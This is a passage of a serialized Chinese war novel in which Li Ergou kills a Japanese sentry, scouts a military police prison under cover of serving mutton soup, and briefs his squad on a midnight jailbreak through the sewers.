那种枪口特有的冰硬触感,死死地抵住后背的皮肉,只要对方轻轻一扣扳机,他瞬间就得毙命在此地。 紧接着,一声呵斥从身后传来:“不许动!” 一瞬间,空气仿佛都凝固了。 第720章 毁尸灭迹 李二狗浑身的肌肉紧绷起来,后背瞬间就渗出一层冰凉的冷汗,头皮阵阵发麻。 他心里清楚,完了,被小鬼子抓了个正着。 身后的人绝对是日本鬼子,而且可能已经看到他刚才开锁并伪装井盖的事情,不然他不会直接用枪顶住他,语气还这般凶狠。 生死关头,常人早就慌了神,要么慌乱地跪在地上求饶,要么狠下心去拼死反抗,可李二狗硬生生压下了心底所有的惊惶,脑子飞速运转着。 此时反抗是绝对行不通的,对方手里有枪,距离又极近,他只要敢动一下,对方立马就是一枪,自己根本没有胜算。 想逃跑更是痴心妄想,夹道两头堵死,早已无路可退。 更何况,只要枪声一枪,他就是插翅也飞不出重兵把守的宪兵队大牢。 此时唯一的活路,就是硬装到底!不管这个日本鬼子信不信! 电光火石之间,李二狗双手已经缓缓地举过头顶,连半点反抗的意思都没有。 同时,他语气带着恰到好处的慌张和惶恐,哆哆嗦嗦地求饶道:“别……别开枪!太君,我是……自己人!是……自己人!” 他语气里充满了害怕,极力打消对方的杀心。 做完这一切之后,他才缓缓地转过头。 转头的瞬间,他看到身后站着一个乳臭未干的小日本鬼子,年纪不大却满脸凶戾,眼神死死地盯着他,手里的步枪紧紧地抵着他的胸口,眼神锐利又充满了警惕。 同时,他还一个劲地斜眼瞟向李二狗身后那截盖在井盖上的木头,明显是起了疑心。 李二狗心想,自己刚才所做的一切,十有八九都被这个日本鬼子看在眼里了。 “你地,刚刚地在做什么地干活?” 日本鬼子操着一口生硬的中国话,语气异常冰冷,眼神死死地盯着李二狗,又反复扫过他身后那堆木头,满脸的不信任。 李二狗心里暗道好险,日本鬼子的话证明他刚才并没有看见李二狗开锁,不然不会说这些废话,差一点就彻底暴露了。 想到这,李二狗稍微松了一口气,事情还有转圜的余地。 他脸上没有露出一点慌乱,马上堆起一副憨厚而又讨好的笑容,眼神更是无比地真诚。 “太君,你听我说,是这么回事。”他语气恭顺,带着几分局促不安,“我看厨房里的柴火不够用了,熬出来的羊肉汤香味不足,龟队长平日里最爱喝醇厚的肉汤。我想着这夹道里堆着不少干木头,烧这种木头熬汤,火稳味正,煮出来的羊肉汤才够鲜美,特意进来捡几根柴火。” 说着这些话,他顺势缓缓地放下举着的双手,弯腰伸手,作势就要去捡脚边的那些碎木头,丝毫看不出半点刻意伪装的痕迹。 李二狗的这套说辞合情合理,他正在熬羊肉汤,进来捡一些柴火再正常不过,任谁听了都挑不出毛病。 可对面的日本鬼子不是傻子,他人小鬼大,心思格外缜密。 他并没有轻易相信李二狗的话,眼神依旧死死地盯着他身后那根盖在井盖上的木头,满脸狐疑,枪口依旧没有挪开。 “你地,到一边去!” 鬼子冷声呵斥一声,枪口微微往边上指了指,示意李二狗给自己让开一条道。 他显然是不放心,非要亲自上前查看一番,看看那根木头底下到底藏着什么东西。 李二狗的心瞬间又提到了嗓子眼上,后背的冷汗顺着脊梁骨往下淌。 他清楚地知道,只要这日本鬼子挪开那截木头,底下井盖上的铜锁就会彻底暴露,他所有的伪装、所有的计划全部暴露,劫狱的秘密也将彻底败露,他今天必死无疑。 绝对不能给这个日本鬼子查看的机会。 就在日本鬼子上前一步,伸出枪口,想要挑开那截盖在井盖上木头的那一瞬间! 李二狗脸上的憨厚笑容瞬间褪去,周身气息瞬间变冷。 他不等日本鬼子反应过来,猛地抓起手边一块结实的粗木头,手腕发力,胳膊狠狠地抡起,带着全身的力气,狠狠地砸向日本鬼子的头顶! 这一下又快又狠又准,毫无征兆,几乎用尽了李二狗全身的力气。 那日本鬼子压根没有料到,一个看似胆小懦弱的老百姓,居然敢在牢营里动手从背后袭击自己。 他毫无防备,脑袋上结结实实地挨了一记闷棍。 只听到一声沉闷的“嘭”的声响。 日本鬼子的身子猛地一僵,眼睛瞬间瞪得溜圆,他嘴里甚至连半句呻吟都没来得发出,脑袋一歪,身子软软地往前一扑,直接栽倒在杂物堆里,瞬间便没了生息。 全程不过一秒钟,李二狗的出手向来干净利落。 李二狗不敢有丝毫松懈,一击得手之后,他没有丝毫停顿,立马踮着脚,快步冲到夹道口,探出半个脑袋,飞快地扫视外面的院子。 他左右张望一圈,院子里依旧安安静静,巡逻的日本鬼子还在远处,没有人听到夹道里的动静,也没人往这边看,周围一切如常,没有任何人察觉这里刚刚发生了一场致命的搏杀。 确认外面安全,没有异常之后,李二狗立马缩回身子,转身回到夹道深处。 眼下没有时间犹豫,必须快速处理干净地上的痕迹,绝不能留下任何破绽。 他快步地走到那个倒地的日本鬼子身边,蹲下身子探了探对方的鼻息,他的气息微弱到几乎没有,但还没有死透。 李二狗心里清楚,这种时候绝对不能发慈心留下活口。 一旦这日本鬼子缓过气来,一切就全完了。 他伸手一把拽过日本鬼子脚下的步枪,快速摘下枪口下方的刺刀,握在手里,眼神冰冷,对着日本鬼子的胸口,狠狠地刺了下去,一下便扎得通透。 这一刀下去彻底杜绝了对方苏醒的可能,一点后患都没有留下。 做完这一切之后,他马上收了刺刀,动作麻利地伸手拽住鬼子的衣领,用尽浑身力气,将这具沉甸甸的尸体,一路拖到下水道井盖旁边。 第721章 李二狗试汤 李二狗俯下身子,伸手挪开井盖上方那截伪装的木头,双手扣住井盖的边缘,猛地一发力,掀开了那个厚重的铁制井盖。 漆黑幽深的下水道洞口露了出来,一股潮湿腐朽的异味扑面而来。 李二狗俯身拽住日本鬼子的尸体,一使劲,直接把整具尸体顺着洞口推了进去,里面发出一声沉闷的声响,惊得李二狗心底一沉。 紧接着,他又将那把带血的步枪和刺刀,一并丢进了黑漆漆的下水道里。 所有的痕迹,全部被彻底销毁。 处理完日本鬼子的尸体和枪械,他伸手将沉重的井盖盖回原处,随后又重新捡起那截木头,盖在井盖正上方,恢复成之前的伪装模样,根本看不出任何被动过的痕迹。 搞定这些之后,他又低头看向地面,刚才刺杀的位置,滴落了好几处鲜红的血迹,落在泥土和木渣上,格外显眼。 李二狗立马蹲下身子,伸手抓过地上的一些干土、碎木屑和烂杂草,仔细铺盖在血迹上面。 他做得格外细致,一点一点的清理,把所有血渍彻底抹除,直到地面上干干净净,再也看不出一点血腥的痕迹,他这才彻底放下心来。 做完这一切,李二狗长长地喘了一口粗气,平复了一下急促的呼吸,又整理了一下略显凌乱的衣裤,拍掉身上的尘土。 确认自己身上没有异常,现场毫无破绽之后,他快速走出夹道,返回到厨房里。 一踏进厨房的门,他一直紧绷到极致的神经才终于稍稍放松了一些,他的后背早已被冷汗浸透,贴身的衣服湿哒哒地贴在身上,又凉又黏。 他扶着锅台,心有余悸地大口喘着粗气,刚才那短短几分钟的生死博弈,简直是从鬼门关走了一遭回来,只要错半步,那就是死。 灶膛里的柴火还在熊熊燃烧着,锅里的羊肉汤咕嘟咕嘟地不停翻滚着,冒着密集的热气和水泡,浓郁的肉香填满了整个厨房,热气腾腾的烟火气,稍稍冲淡了他身上的肃杀。 看着锅里翻滚的肉汤,李二狗心里快速盘算起来。 刚才顺利找到了可用的下水道入口,算是为夜里的劫狱计划扫清了最大的障碍。 但他依旧不敢放松警惕。 眼下还有一个最关键的地方,那就是还不了解牢房内部的情况没,他想进入牢房里面看一看,核对一下牢房内部的情况,确保和手里的地形图完全一致,避免夜里行动再出现偏差。 可他反复琢磨了半天,实在找不出进入牢房的理由。 牢房门口守备森严,根本不许人随意靠近,更别说进去侦察。 贸然过去,只会引来日本鬼子的怀疑。 锅里的羊肉越煮越烂,肉香越来越浓,汤头渐渐熬得乳白醇厚,眼看着一锅羊肉汤就要彻底熬制完成。 李二狗心里还在琢磨着进入牢房的办法,不想这么快就结束,他想要多一点时间来思考。 于是他拿起旁边提前备好的凉水,一勺一勺地添进滚烫的肉汤里。 滚烫的汤锅遇到凉水,沸腾的热气稍稍压了下去,熬汤的进度瞬间慢了下来。 等汤再次煮滚,他就再添进去两勺凉水。 就这样反复添了两次水,拖延了不少时间。 锅里的羊肉汤依旧鲜香浓郁,可他心里清楚,不能再拖下去了。 龟隼子那个老鬼子多疑狡诈,拖延太久必然会引起他的猜忌,反而坏事。 火候差不多了,不能再刻意耽搁。 李二狗停下手里的动作,整理了一下衣衫,稳住心神,摆出一副恭顺的姿态,转身走出厨房,径直朝着龟隼子的办公室走去。 走到门口,李二狗看到龟隼子正坐在办公椅上哼唱着樱花曲。 李二狗微微躬身,语气显得十分恭敬:“太君,羊肉汤已经熬好了,火候刚刚好,现在可以开饭了。” 办公室里的龟隼子听到李二狗的声音,缓缓站起身,迈着步子走到李二狗身前。 他上下打量了李二狗两眼,脸上带着几分满意的神色,抬手轻轻拍了拍李二狗的肩膀,态度看上去十分亲和。 “吆西!”龟隼子点点头,语气里带着一丝赞许:“你地,干活勤快,大大的好!走,我们去厨房,我要亲自尝一尝。” 李二狗低头躬身,恭恭敬敬地应着,在前头引路,带着龟隼子往厨房走去。 一进厨房门,浓郁醇厚的羊肉香气扑面而来,热气腾腾,扑鼻诱人。 龟隼子深吸了一大口热气,脸上露出满意的神色,连连点头赞叹道:“香味浓郁,味道果然好极了!你的手艺,很不错。” 李二狗依旧是一副谦卑恭敬的模样,顺势开口道:“太君喜欢就好,汤趁热喝最是鲜美,凉了味道就差了。太君,不如现在就喊各位皇军过来喝汤吧。” 他看似殷勤懂事,实则是想借着分汤的机会,观察鬼子的人数。 龟隼子眼神微微一动,意味深长地看了李二狗一眼,目光里带着一丝不易察觉的防备。 片刻之后,他才慢悠悠开口道:“你地,辛苦半天了,先盛一碗自己喝。” 李二狗心里了然,瞬间就猜到了这个鬼子的心思。 龟隼子这是在试探他,怀疑他会不会在羊肉汤里偷偷动手脚。 日本鬼子的这点心思李二狗早就料到了,从一开始熬汤,他就半点歪心思都没动,当然不会往羊肉汤里添加任何东西。 他心里清楚,这次的慰问名义,是孙竹刚一手对接的。 孙竹刚是江东县有头有脸的人物,他自己又是仙人洞镇的维持会会长,两人都是本地明面上归顺日本人的人,身份显眼,所有人都盯着。 若是这锅羊肉汤出了一丁点问题,只要有一个日本鬼子出事,不用查,所有人都会第一时间把矛头对准他和孙竹刚。 到时候别说劫狱,他们两个全家老小都得被日本鬼子清算,定会死无葬身之地。 这种搬起石头砸自己脚的蠢事,李二狗是绝对不会做的。 第722章 万事俱备 李二狗心里暗骂一句龟隼子阴险多疑,脸上却是一副感激之情,他连连道谢道:“谢谢太君体恤!多谢太君体恤!” 说完,他便拿起灶台上的一个碗,直接从汤锅最中间盛了满满一碗滚烫的羊肉汤,热气腾腾,肉块饱满。 他没有一点迟疑,端起碗就大口大口地喝了起来,嘴里稀溜作响,不一会儿便喝得干干净净,甚至连汤汁都一口没剩。 李二狗全程坦然坦荡,脸上没有半分犹豫之色。 龟隼子站在一旁,眼神一直紧紧地盯着他。 看着李二狗喝完一整碗羊肉汤,神色正常,面色红润,没有半点不适,半点中毒的征兆都没有,他心里的所有疑虑才彻底打消。 他这才彻底放下心来,笑着点头道:“吆西!很好!我这就安排所有人开饭的干活!” 很快,院子里休息待命的十几个日本鬼子,全都纷纷聚拢到了餐厅里。 一群日本鬼子闻着浓郁的羊肉香气,他们个个神情亢奋,吵吵嚷嚷个不停,坐等着喝汤吃肉。 李二狗站在一旁,一边拿着勺子殷勤地给各个日本鬼子盛汤,一边不动声色地扫视众人,默默地清点着人数。 他心里暗暗盘算着,眼下到场喝汤的,有十几个日本鬼子。 大牢里必然还有一部分鬼子在各处站岗执勤,现在无法离岗吃饭。 他之前从孙竹刚那里得到的情报,说大牢的鬼子采用三班轮换的值守制度。 结合眼前到场的人数一一进行核对,整座大牢里驻扎的日本鬼子的兵力,大概就在二十人上下。 和自己此前掌握的情报完全对上了。 鬼子兵力摸清楚之后,夜里行动的风险又降低了不少。 一众日本鬼子喝得尽兴,一碗接着一碗,满嘴流油,一个个满脸满足,不停地用生硬的中国话夸赞李二狗的手艺。 其实李二狗熬制羊肉汤的秘诀很简单,他在汤里加了一些罂粟壳。 加了罂粟壳,不仅汤汁美味,喝了还会上瘾。 看着众人吃得热火朝天,李二狗心里立马生出一个新的主意。 他趁着众人吃喝正热闹的时候,找了一个大号汤盆,满满当当地盛了一盆滚烫的羊肉汤,又拿了几个干净的空碗,端在手里,转身径直朝着牢房的方向走去。 牢房是整个大牢的核心重地,戒备最严,门口常年站着两个全副武装的站岗宪兵,寸步不离。 果然,李二狗刚走到牢房区域的路口,还没靠近大门,门口站岗的两个日本鬼子立刻瞬间警觉,猛地举起手里的长枪,枪口直直地对准他,厉声呵斥。 “站住!这里是军事重地,任何人不许靠近!快快地离开!” 鬼子的声音里满是戒备,根本没有任何商量的余地。 李二狗早有准备,他的脸上立马堆起一副和善讨好的笑容,态度显得格外谦卑。 “两位太君千万别误会。”他举了举手里的汤盆,笑着说道:“是龟队长体恤二位太君的辛苦,知道你们坚守岗位不能离岗吃饭,特意让我盛了一些热乎乎的羊肉汤过来,给二位太君尝尝鲜。这汤就得趁热喝,凉了就糟蹋味道了。” 一听是龟隼子的命令,再看着眼前满满一盆香气扑鼻的羊肉汤,两个站岗的日本鬼子神色瞬间松动下来。 此刻正好是正午饭点的时间,两人站了一上午的岗,换岗的人还没来交接,他们的肚子早就饿得咕咕直叫,闻着羊肉汤的香气,个个口干舌燥。 浓郁的肉香一个劲地往他们鼻子里钻,馋得人心里发痒,哪里还能抵挡得住这般美食的诱惑。 两人脸上的警惕瞬间散去,取而代之的是满脸的欣喜。 “吆西!羊肉汤的味道,大大的好!”其中一个日本鬼子咧着一张癞蛤蟆嘴笑着,顺势收起了手里的长枪。 李二狗见状,顺势上前两步,笑着说道:“太君,我给二位盛上,快趁热喝。” 说着话,他端着羊肉汤大大方方地走进了牢房。 他径直走进牢房门口的值班室里,放下汤盆,熟练地给两个日本鬼子各盛了满满一大碗羊肉汤。 “太君,快吃快吃,尝尝味道怎么样?这可是我家祖传的手艺。” “吆西,大大的辛苦你了!” 两个日本鬼子满心欢喜,彻底放下了所有的戒备,他们背着长枪就走进值班室里,低头大口大口地喝起了羊肉汤,吃得不亦乐乎,再没有心思留意门口的动静。 趁着两个日本鬼子埋头喝汤的空档,李二狗站在值班室门口,目光飞快地打量着整个牢房内部的布局。 牢房并不大,前后只有几十米的距离,他目光扫过牢房的通道、牢房的排列、出入口的路线…… 他默默地将眼前亲眼看到的所有布局细节,和自己提前熟记的牢房地形图一一比对。 仔细核对下来,牢房内部的布置,和地形图上标注的内容几乎一模一样,没有变动。 悬在心里的最后一块石头,终于彻底落了地。 所有关键的信息全部侦察完毕:鬼子的总兵力、轮换制度、下水道的封堵情况、牢房内部的布局、岗哨值守的规律,全部摸清吃透。 夜里的劫狱计划,所有条件此时已经全部具备。 他很想再往前走一走,看看宋小曼到底关在哪家牢房,可这样无缘无故地往前走,肯定会引起日本鬼子的怀疑。 李二狗知道事情的轻重,他只能暂时压下心底对宋小曼的情愫,救人要紧! 这一切都确认无误之后,李二狗不再多做停留,免得待得太久惹人怀疑。 他对着埋头喝汤的两个日本鬼子微微躬身,客气地说道:“两位太君请慢慢吃,厨房里还有不少汤和肉,不够吃我再给二位送来,我先回厨房去收拾了。“” 两个日本鬼子头都懒得抬,只顾着自己大口喝汤,他们随口敷衍着摆手道:“吆西,你地,回去吧!这汤,实在太美味了!” 李二狗不再多言,转身从容淡定地走出值班室,顺着原路,返回厨房。 第723章 臭水沟 李二狗手里提着半斤沉甸甸的羊肉汤,这是龟隼子方才特意赏给他的。 他神色松弛,从容不迫地走出了守备森严的宪兵队大牢。 大门口站岗的日本鬼子方才换岗之前在餐厅喝羊肉汤的时候见过李二狗,见他手里提着龟隼子赏的剩下的羊汤,只是淡淡地扫了他一眼,没加任何阻拦,任由他径直走出了大牢的院门。 跨出宪兵队大牢的那一刻,扑面而来的风终于少了几分硝烟的气息,压在他心头的那块巨石已经稍稍松动。 李二狗脚步沉稳,他知道越是这种时候,越不能慌。 他没有往自家的方向走,而是刻意绕了一条偏僻的小路,七拐八绕,最终来到宪兵队大牢后方不远处的一条臭水沟旁。 这一条臭水沟,是整个江东县城下水管道的总排污口。 县城里各家各户的脏水、后厨的废水、街边的污水,全都往这里排,日积月累,沟水发黑发浑,常年淤积着烂渣污物,一年四季臭气不散。 这地方偏僻荒凉,离居民区远,又终日恶臭扑鼻,寻常百姓路过这里都要捂紧口鼻快步躲开,平日里根本见不到行人,连街边流浪的乞丐、野狗都不愿意往这边凑,安静得只剩下流水哗啦的声响和漫天的酸腐臭味。 方才在日军宪兵队大牢里,他为了打消日本鬼子的疑虑,硬着头皮喝下了一大碗滚烫的羊肉汤,肉汤醇厚油润,滋味十足。 可此刻一靠近这臭水沟,一股子冲头的酸臭味直直地往鼻腔里钻,腥腐混杂着淤泥的烂味,熏得人胃里一阵翻江倒海。 他喉咙不停地发紧,胃里的羊肉汤来回翻腾,好几次差点直接呕吐出来。 李二狗强忍着心口的恶心反胃,眼神依旧清明。 他低头看了看手里龟隼子赏赐的那半斤羊肉汤,这东西留在身上半点用处没有,此时提在手中毫无用处,只会徒增麻烦。 他一抬手,干脆利落地将手里提着的羊肉汤扔进了浑浊发臭的水沟里。 落水处溅起一团发黑的水花,转瞬就浮在污水里,被流水推着漂向远处。 处理完手里的东西,李二狗抬手拍了拍衣角的尘土,压下胃里不断翻涌的不适感,抬脚又往前走了几步,站在一处裸露的下水管道排污口跟前。 这个排污口,他早前就悄悄来踩过好几次点,位置、朝向、周边的一草一木,他早就记在了心里。 排污口嵌在土坡下方,粗大的水泥管道直通地下,管道朝外的出口位置,焊着一圈密密麻麻的铁栅栏,铁棍厚实坚硬,死死地封住了管道入口,缝隙极小,人根本没法直接钻进去。 早前踩点的时候,他就看出这铁栅栏是日本人占据大牢之后专门焊死的,就是为了防备有人通过下水管道进入大牢。 他没敢乱动,如果此时贸然动手破坏这个铁栅栏,很可能会暴露行踪,打草惊蛇,夜里的劫狱计划就彻底泡汤了。 孙竹刚早前得到的地形图,上面有标注,宪兵队大牢内部的下水管道系统,和县城这条总排污口相互连通。 日本人不是傻叉,当然知道这个下水管道有被人从中潜入的危险,所以他们便用厚重的铁栅栏封死了出口,又把大牢内部所有的井盖上都加了一把铜锁。 今天他冒着天大的风险,混进大牢摸清了内部的所有情况,此刻他压根不急着撬开栅栏。 这会儿天色还没有黑透,周边视野开阔,只要动手拆除铁栅栏,极易被远处的巡逻鬼子或是街边偶然经过的路人察觉,暴露的风险实在太大,绝对不能轻举妄动。 他这一趟特意过来,是为了彻底勘察清楚排污口周边的环境。 他绕着排污口周边走动,脑子不停地运转着。 左边的土坡能不能临时藏身? 右边的杂草丛能不能隐蔽潜伏? 前方的小路有没有人经过? 后方的巷道能不能快速撤离? 天黑之后月光的光影会落在哪个位置? 巡逻鬼子的视线盲区在哪里? 行动失败的退路怎么走? 行动成功之后全队人马最快的撤离路线是哪一条? 所有细枝末节,他都逐一记在心里,在脑子里一遍一遍地进行推演。 夜里天黑视线不清,一丁点的疏漏,都可能让兄弟们陷入绝境。 他必须提前把潜伏点位、前进路线、撤退路线全部确定。 他就这么安静地站在臭水沟旁,在刺鼻的臭味里,默默地勘察,默默地盘算,把夜里行动的所有隐患,一一排查干净。 等他把周围的一切全部勘察清楚之后,天色也渐渐沉了下来,夕阳落了山,天边染出一片昏暗的暮色。 李二狗不再多做停留,他转身离开臭水沟,沿着一条僻静的小路,朝着家的方向疾驰而去。 等他回到家的时候,天色已经彻底黯淡下来,院里站满了人,正是孙连胜和一众行动队的兄弟。 这一天,对于孙连胜和所有队员来说,过得实在太过煎熬漫长。 李二狗孤身留在宪兵队大牢的虎口之中,生死系于一线。 这一天下来,所有人都坐立难安,吃不下饭,心里总是悬着一块大石头,生怕传来坏消息。 此刻他们看见李二狗平安归来,没有受伤、没有出事,孙连胜心里积压一整天的焦虑瞬间散去。 他快步迎了上来,眼神里满是真切的激动,就跟见到亲人一般。 “狗哥,你可算回来了!我们在这儿等得心口发慌,心都焦透了。” “我早就跟你们交代过,让你们在家好好休息,急什么?我这不回来了吗?” 孙连胜长长地喘了一口气,语气里带着后怕。 “狗哥,那可是日本鬼子的宪兵队大牢啊!里面全是荷枪实弹的鬼子,你一个人待在里面,我们这帮兄弟怎么可能放得下心?方才我实在熬不住,差点就要带着兄弟们冲进大牢里去救你。” 李二狗听着这话,心里是暖的。 他心里清楚,孙连胜这话绝不完全是献媚之词,这是实打实的忠心。 第724章 养兵千日,用兵一时 危急关头,愿意豁出自己性命带人冲进虎口救他出来,这份情义,难得可贵。 可暖心归暖心,李二狗绝对不认可这种做事方式。 李二狗脸上的笑意消失了,他一脸严肃地看着孙连胜,郑重地说道:“连胜,你如今不是集团普通一员,你是集团特别行动队的队长,手里带着一帮兄弟,这帮兄弟的性命都掌控在你的手里,以后做事可万万不能再那么冲动啊!” “你想着冲进去救我,我知道你是忠心。可你想过后果没有?就算你运气好,侥幸把我从大牢里救出来了,然后呢?” “江东县城里驻扎着鬼子一个大队的兵力,咱们就这十几个弟兄,一旦和鬼子正面交火,根本没有还手的余地。真打起来,别说救我,咱们所有的人,一个都走不出县城,最后全部都得把命搭进去。” 孙连胜一心只想救人,压根没往后果上多想,被李二狗这么一点拨,瞬间恍然大悟,满脸愧疚,立马低头认错。 “狗哥,是我糊涂了,是我考虑不周,做事太莽撞了。我记住了,以后绝对改掉这个毛病,凡事多思量,再也不冲动行事。” 李二狗轻轻地拍了拍他的肩膀,神色已经缓和下来。 响鼓不用重锤,他心里很清楚,孙连胜虽然性子有些急躁,但忠心耿耿,堪当大用。 若是他身陷险境,这帮兄弟却无动于衷,那才是最可怕的事情。 只要有这份忠心在,性子可以以后慢慢磨。 “行了,知道错在哪,能改正就好。” 李二狗接着吩咐道:“现在去把所有弟兄们都集合起来,我要部署夜里的行动任务。” 孙连胜不敢耽搁,立马答应一声,转身便去集合队伍。 只片刻功夫,分散在各处待命的行动队队员,全部火速集结到了李二狗面前。 他们个个身姿挺拔、神色肃穆,身上透着一股常年训练养成的精气神,所有人的目光全部紧紧地落在李二狗身上,眼里满是期待。 看着他们一张张斗志昂扬的面孔,李二狗心里涌起一股必胜的底气。 他站在众人前方,目光缓缓地扫过每一个弟兄。 “兄弟们,这段日子以来,大家在山上日夜操练,从不敢有半分松懈,吃了那么多苦,受了那么多罪,你们说,是为了什么?” “为了打鬼子!” “说得好,是为了打鬼子,现在机会来了,今夜十二点,咱们就进入宪兵队大牢,杀鬼子,救人!” 这话一出,院里所有的人瞬间精神大振。 他们心里早就憋足了一口气,摸爬滚打了这么长时间,就等着杀鬼子的机会,此刻终于等到了。 他们个个摩拳擦掌,眼神锐利,心里早就急不可耐,都想着冲进大牢,多杀几个作恶多端的日本鬼子。 众人情绪高涨,士气瞬间拉满。 李二狗抬手微微压了压众人的躁动,场面瞬间安静下来。 “好,既然大家都准备好了,那我开始布置今晚的行动任务和分工。” 接下来,李二狗将自己今日深入大牢探查的所有情况,包括鬼子的兵力分布、岗哨轮换时间、下水道潜入点位、潜伏隐蔽位置、每组人员分工、救人具体步骤、突发情况应对方案、撤退备用路线,一一详细地告知众人。 他讲得细致周全,从潜入、突进、救人、牵制、断后、撤离,每一个环节、每一个岗位、每一个时间节点,都安排得清清楚楚,环环相扣,滴水不漏。 在场所有的队员都静静地听着,越听心里越震撼。 谁都没想到,这场九死一生的劫狱行动,居然被李二狗谋划得这般周密稳妥,处处都是巧思,处处都留着退路,几乎规避了所有能想到的风险。 所有人心里都暗自感叹。 在整个江东县,敢闯鬼子大牢的可能还有其他人,但能把一场劫狱谋划得如此周全、如此缜密、如此步步为营的,除了李二狗,再也找不出第二个人。 站在一旁的孙连胜,听得更是满心敬佩。 他跟在李二狗身边也有段时间了,自认为也算有些能耐,可今日听完这一整套行动部署,才真真切切地感觉到自己和他的差距到底在哪。 李二狗的眼界、谋略和胆识,是他穷尽一辈子也学不完。 跟着这样的人干事,哪怕再凶险,心里也踏实。 李二狗讲完之后,又抬眼看向众人,沉声问道:“我刚刚讲的分工、步骤以及注意事项,大家还有谁没听明白的吗?有的现在就问,一旦开始行动,每个人必须对自己承担的任务一清二楚。” 院内鸦雀无声,所有人眼神清亮。 李二狗的安排,分工明确,职责清晰,每个人都清楚地知道自己该干什么、什么时候干、出了意外该怎么应对。 所有人齐声应道:“没有!全都明白了!” 李二狗点点头,神色愈发郑重,只要行动没有结束,他的心就不可能彻底放下来。 “既然大家都清楚了,我再重申一遍,夜里的行动,所有人必须严格按照部署执行,严禁任何人擅自行动!” “还有,咱们今晚的核心任务是救人,一定不要恋战,绝不能为了杀鬼子而冒险。能顺利把人救出来就是最大的成功。一旦得手,立刻撤退。大家都清楚没有?” “明白!” 众人士气如虹,眼神坚定,杀意与决心尽数藏在眼底。 看着万众一心的弟兄,李二狗的语气稍稍放缓,言语中多了几分安抚。 他的声音真诚,句句戳在人心上,极具煽动力。 “养兵千日,用兵一时。大家日夜苦练就是为了今日,今晚这一仗,不仅是救咱们的同胞,更是咱们所有人证明自己的一仗。” “只要今晚行动成功,回到集团之后,每位兄弟,统一奖励大洋两百块!功劳不分大小,上阵人人有份!” 这话一出,所有队员的眼底瞬间亮了起来。 这年头世道艰难,百姓度日维艰,两百块大洋,是寻常人辛苦一辈子都挣不来的酬劳。 第725章 李二狗的双保险 李二狗的行事风格向来如此,他非常擅长鼓舞人心,但又不只能用理想主义来鼓舞人心。 理想主义确实可以鼓舞士气,但用一次两次可以,长久却不行,底下的人抛家舍业地跟着你卖命,有几个人是为了心中理想? 李二狗相信,他们中的大多数人连自己心中的理想是什么都不清楚,所以一定要为他们争取现实的利益! 李二狗就是如此的体恤弟兄,从来不会亏待跟着他卖命的人。 他刚刚的这番安排,既有生死相托的情义,又有实打实的好处,他的这种格局和气魄,是旁人根本无法比拟的。 他这般用人的方法最能拢住人心,让所有人都心甘情愿地跟着他冲锋陷阵、赴汤蹈火。 众人听罢李二狗的许诺,心中顿时热血沸腾,战意更盛,恨不得现在就动手杀鬼子救人。 李二狗心中欣慰,面上却不显,他抬手压了压众人的骚动。 “好了,话不多说,大家都各自回去准备吧,今晚十一点半准时从这里出发。” “是!” 众人应声之后,纷纷转身散去,各自回去准备夜里的劫狱行动。 院子里只剩下李二狗和孙连胜,还有方才李二狗特意点名留下的两名队员。 人散场静,李二狗脸上的凌厉威严缓缓褪去,换上一副更加沉稳的神色。 他对着眼前两名队员嘱咐道:“你们两个等会儿出城执行任务,绝对不能同一时间一起出城,你们的出城时间,必须间隔半个小时以上。” 两人听罢李二狗的安排,一时都有些懵逼。 两人一起出城执行任务,路上有个伴,遇到危险还能相互帮衬,岂不是更妥帖一些? 为何要让他们分开出城? 既然要分开,为什么还要派他们两个人? 一个人不就够了吗?这里人手本来就不够!多留下一个人打鬼子救人岂不是更好? 李二狗看两人的神情,便猜到他们没有领会自己的意思,便继续说道:“夜里路上都是巡逻的日本鬼子,你们两人若是一起行动,目标太大,反而容易暴露。” “虽然你们两个人的任务是一样,但你们必须独立行动,互不牵扯,这样即使一个人出了问题,另一人也可以继续执行任务。” 李二狗的这番安排,是实打实的双保险。 他们两人承担的任务是传递消息,消息能否及时送达决定着李二狗等人能否安全撤离。 如此重大的事情,绝不能出现任何差错。 两人分开行动,即使其中一人出事,另外一人也能及时把消息传递给秀才和陈老三。 李二狗的心思已经缜密到这般地步,方方面面都提前预想到。 两名队员瞬间就听懂了李二狗的深层用意,心里满是敬佩,他们立马站直身子,对着李二狗敬了一个标准利落的军礼。 “我们明白了!请董事长放心,保证完成任务!” 果然是特别行动队的人,一点即通。 李二狗笑道:“大家都是好弟兄,这里没有什么董事长!以后你们就直接喊我狗哥吧。” 两人闻言,心里顿时一阵热辣滚烫,浑身都是暖意,激动的差点当场跳起来。 能被最高领导如此这般真心相待,比自己得了多少奖赏都更加让人暖心。 二人齐声说道:“是!狗哥!” “去吧,抓紧回去准备,八点准备出发,按时间分批出城,务必把消息传达给秀才和陈老三,不得有误。” “是,狗哥!” 两人走后,院子里只剩下孙连胜和李二狗。 孙连胜看着李二狗这般层层布局的周全安排,心里越发佩服,忍不住由衷地赞叹道:“狗哥,跟着你做事,真的长见识。换作是我,顶多就安排一个兄弟传递消息,压根想不到还要分时分批双保险。你这心思,实在是太细了。” 李二狗闻言,微微一笑,语气平静地说道:“我知道,咱们的人手有限,传递一个消息就一下派出去两个兄弟确实有些浪费。但好钢要用在刀刃上,越是人手少,越不能大意。消息能否及时送到,事关咱们兄弟们的性命,可半点不能马虎啊。” “狗哥,有你的英明领导,咱们今晚的行动一定能成功!” 孙连胜的话多少有些恭维讨好的意思,但李二狗听了却很受用。 士气可鼓不可泄,做任何事情都必须有十足的信心,只有这样,成功的几率才会更大。 “咱们肯定会成功的,我绝不会拿兄弟们的性命开玩笑,”说完,李二狗看向孙连胜,轻声吩咐道:“你现在就带两个机灵一点的兄弟出门,去街上多买一些牛肉回来,让兄弟们今晚都吃饱喝足、养足精神,夜里才有力气干活。” “好嘞,狗哥,我现在就去!” 孙连胜刚要走,李二狗又叫住他,再次叮嘱道:“还有,这次酒就先别买了,等咱们救人之后回集团再喝个痛快!” 李二狗知道土匪都有喝壮行酒的传统,但传统不代表是正确的,李二狗要打造的绝不是一支土匪武装。 “放心吧,狗哥,我心里有数。” 孙连胜领了指令,带着两名弟兄匆匆出门去购买牛肉。 院子里终于彻底安静下来,周围只剩下晚风轻轻吹动院墙发出的声响。 李二狗独自静立在院子里,将白天探查的所有细节、行动的整套部署、所有人的分工、所有的退路和后手,全部在脑子里快速过了一遍。 确认没有任何疏漏之后,他才转身走进房间,躺在床上。 他没有半点松懈,双目微闭,大脑却在飞速地运转。 